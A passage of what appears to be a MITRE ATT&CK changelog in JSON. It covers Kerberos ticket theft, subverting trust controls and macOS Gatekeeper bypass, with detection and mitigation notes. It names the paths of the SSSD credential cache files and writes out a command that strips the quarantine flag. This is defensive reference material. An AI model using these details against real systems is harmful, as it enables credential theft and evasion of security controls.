(Wadhwa-)Brown\", \"Cody Thomas, SpecterOps\"], \"root['x_mitre_permissions_required']\": [\"User\", \"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 22:56:22.054000+00:00\", \"old_value\": \"2020-11-05 16:07:04.189000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n\\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\\n\\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \\\"ccache\\\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\\n\\n\\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\\n\", \"old_value\": \"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). \\n\\nKerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,8 @@\\n-Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). \\n+Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n \\n-Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \\u201crealms\\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\\n+On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\\n+\\n+Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \\\"ccache\\\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\\n+\\n+\\n+Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Microsoft Klist\", \"old_value\": \"ADSecurity Detecting Forged Tickets\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.\", \"old_value\": \"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://docs.microsoft.com/windows-server/administration/windows-commands/klist\", \"old_value\": \"https://adsecurity.org/?p=1515\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"MIT ccache\", \"old_value\": \"Stealthbits Detect PtT 2019\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.\", \"old_value\": \"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html\", \"old_value\": \"https://blog.stealthbits.com/detect-pass-the-ticket-attacks\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Linux Kerberos Tickets\", \"old_value\": \"CERT-EU Golden Ticket Protection\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.\", \"old_value\": \"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html\", \"old_value\": \"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"Brining MimiKatz to Unix\", \"old_value\": \"Microsoft Kerberos Golden Ticket\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.\", \"old_value\": \"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf\", \"old_value\": \"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"Kekeo\", \"old_value\": \"Microsoft Detecting Kerberoasting Feb 2018\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.\", \"old_value\": \"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://github.com/gentilkiwi/kekeo\", \"old_value\": \"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"SpectorOps Bifrost Kerberos macOS 2019\", \"old_value\": \"AdSecurity Cracking Kerberos Dec 2015\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.\", \"old_value\": \"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \\u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f\", \"old_value\": \"https://adsecurity.org/?p=2293\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"macOS kerberos framework MIT\", \"old_value\": \"Medium Detecting Attempts to Steal Passwords from Memory\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.\", \"old_value\": \"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html\", \"old_value\": \"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n\\nMonitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\", \"diff\": \"--- \\n+++ \\n@@ -7,3 +7,5 @@\\n Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n \\n Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n+\\n+Monitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][10]\": {\"source_name\": \"ADSecurity Detecting Forged Tickets\", \"description\": \"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.\", \"url\": \"https://adsecurity.org/?p=1515\"}, \"root['external_references'][11]\": {\"source_name\": \"Stealthbits Detect PtT 2019\", \"description\": \"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.\", \"url\": \"https://blog.stealthbits.com/detect-pass-the-ticket-attacks\"}, \"root['external_references'][12]\": {\"source_name\": \"CERT-EU Golden Ticket Protection\", \"description\": \"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.\", \"url\": \"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf\"}, \"root['external_references'][13]\": {\"source_name\": \"Microsoft Kerberos Golden Ticket\", \"description\": \"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.\", \"url\": \"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285\"}, \"root['external_references'][14]\": {\"source_name\": \"Microsoft Detecting Kerberoasting Feb 2018\", \"description\": \"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.\", \"url\": \"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/\"}, \"root['external_references'][15]\": {\"source_name\": \"AdSecurity Cracking Kerberos Dec 2015\", \"description\": \"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \\u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.\", \"url\": \"https://adsecurity.org/?p=2293\"}, \"root['external_references'][16]\": {\"source_name\": \"Medium Detecting Attempts to Steal Passwords from Memory\", \"description\": \"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.\", \"url\": \"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea\"}, \"root['x_mitre_data_sources'][0]\": \"File: File Access\", \"root['x_mitre_data_sources'][1]\": \"Command: Command Execution\", \"root['x_mitre_platforms'][1]\": \"Linux\", \"root['x_mitre_platforms'][2]\": \"macOS\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to subvert Kerberos authentication bt1Adversaries may attempt to subvert Kerberos authentication b
>y stealing or forging Kerberos tickets to enable [Pass the T>y stealing or forging Kerberos tickets to enable [Pass the T
>icket](https://attack.mitre.org/techniques/T1550/003).   Ker>icket](https://attack.mitre.org/techniques/T1550/003). Kerbe
>beros is an authentication protocol widely used in modern Wi>ros is an authentication protocol widely used in modern Wind
>ndows domain environments. In Kerberos environments, referre>ows domain environments. In Kerberos environments, referred 
>d to as \u201crealms\u201d, there are three basic participants: client>to as \u201crealms\u201d, there are three basic participants: client, 
>, service, and Key Distribution Center (KDC).(Citation: ADSe>service, and Key Distribution Center (KDC).(Citation: ADSecu
>curity Kerberos Ring Decoder) Clients request access to a se>rity Kerberos Ring Decoder) Clients request access to a serv
>rvice and through the exchange of Kerberos tickets, originat>ice and through the exchange of Kerberos tickets, originatin
>ing from KDC, they are granted access after having successfu>g from KDC, they are granted access after having successfull
>lly authenticated. The KDC is responsible for both authentic>y authenticated. The KDC is responsible for both authenticat
>ation and ticket granting.  Attackers may attempt to abuse K>ion and ticket granting.  Attackers may attempt to abuse Ker
>erberos by stealing tickets or forging tickets to enable una>beros by stealing tickets or forging tickets to enable unaut
>uthorized access.>horized access.  On Windows, the built-in <code>klist</code>
 > utility can be used to list and analyze cached Kerberos tic
 >kets.(Citation: Microsoft Klist)  Linux systems on Active Di
 >rectory domains store Kerberos credentials locally in the cr
 >edential cache file referred to as the \"ccache\". The credent
 >ials are stored in the ccache file while they remain valid a
 >nd generally while a user's session lasts.(Citation: MIT cca
 >che) On modern Redhat Enterprise Linux systems, and derivati
 >ve distributions, the System Security Services Daemon (SSSD)
 > handles Kerberos tickets. By default SSSD maintains a copy 
 >of the ticket database that can be found in <code>/var/lib/s
 >ss/secrets/secrets.ldb</code> as well as the corresponding k
 >ey located in <code>/var/lib/sss/secrets/.secrets.mkey</code
 >>. Both files require root access to read. If an adversary i
 >s able to access the database and key, the credential cache 
 >Kerberos blob can be extracted and converted into a usable K
 >erberos ccache file that adversaries may use for [Pass the T
 >icket](https://attack.mitre.org/techniques/T1550/003). The c
 >cache file may also be converted into a Windows format using
 > tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Cita
 >tion: Brining MimiKatz to Unix)(Citation: Kekeo)   Kerberos 
 >tickets on macOS are stored in a standard ccache format, sim
 >ilar to Linux. By default, access to these ccache entries is
 > federated through the KCM daemon process via the Mach RPC p
 >rotocol, which uses the caller's environment to determine ac
 >cess. The storage location for these ccache entries is influ
 >enced by the <code>/etc/krb5.conf</code> configuration file 
 >and the <code>KRB5CCNAME</code> environment variable which c
 >an specify to save them to disk or keep them protected via t
 >he KCM daemon. Users can interact with ticket storage using 
 ><code>kinit</code>, <code>klist</code>, <code>ktutil</code>,
 > and <code>kcc</code> built-in binaries or via Apple's nativ
 >e Kerberos framework. Adversaries can use open source tools 
 >to interact with the ccache files directly or to use the Ker
 >beros framework to call lower-level APIs for extracting the 
 >user's TGT or Service Tickets.(Citation: SpectorOps Bifrost 
 >Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
 > 
", "changelog_mitigations": { "shared": [ "M1015: Active Directory Configuration", "M1026: Privileged Account Management", "M1027: Password Policies", "M1041: Encrypt Sensitive Information" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0026: Active Directory (Active Directory Credential Request)", "DS0028: Logon Session (Logon Session Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-05 14:54:07.588000+00:00", "modified": "2021-10-14 21:18:32.225000+00:00", "name": "Subvert Trust Controls", "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553", "external_id": "T1553" }, { "source_name": "SpectorOps Subverting Trust Sept 2017", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" }, { "source_name": "Securelist Digital Certificates", "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" }, { "source_name": "Symantec Digital Certificates", "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" }, { "source_name": "SpectorOps Code Signing Dec 2017", "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Command: Command Execution", "File: File Metadata", "File: File Modification", "Module: Module Load" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus", "Autoruns Analysis", "Digital Certificate Validation", "Process whitelisting", "User Mode Signature Validation", "Windows User Account Control" ], "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 21:18:32.225000+00:00\", \"old_value\": \"2021-04-26 15:41:39.612000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1024: Restrict Registry Permissions", "M1028: Operating System Configuration", "M1038: Execution Prevention", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-05 16:16:08.471000+00:00", "modified": "2021-10-14 21:18:30.629000+00:00", "name": "Gatekeeper Bypass", "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/001", "external_id": "T1553.001" }, { "source_name": "TheEclecticLightCompany apple notarization ", "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.", "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/" }, { "source_name": "Bypassing Gatekeeper", "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" }, { "source_name": "TheEclecticLightCompany Quarantine and the flag", "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.", "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/" }, { "source_name": "theevilbit gatekeeper bypass 2021", "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.", "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/" }, { "source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" }, { "source_name": "Clearing quarantine attribute", "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.", "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/" }, { "source_name": "OceanLotus for OS X", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Metadata", "File: File Modification", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at 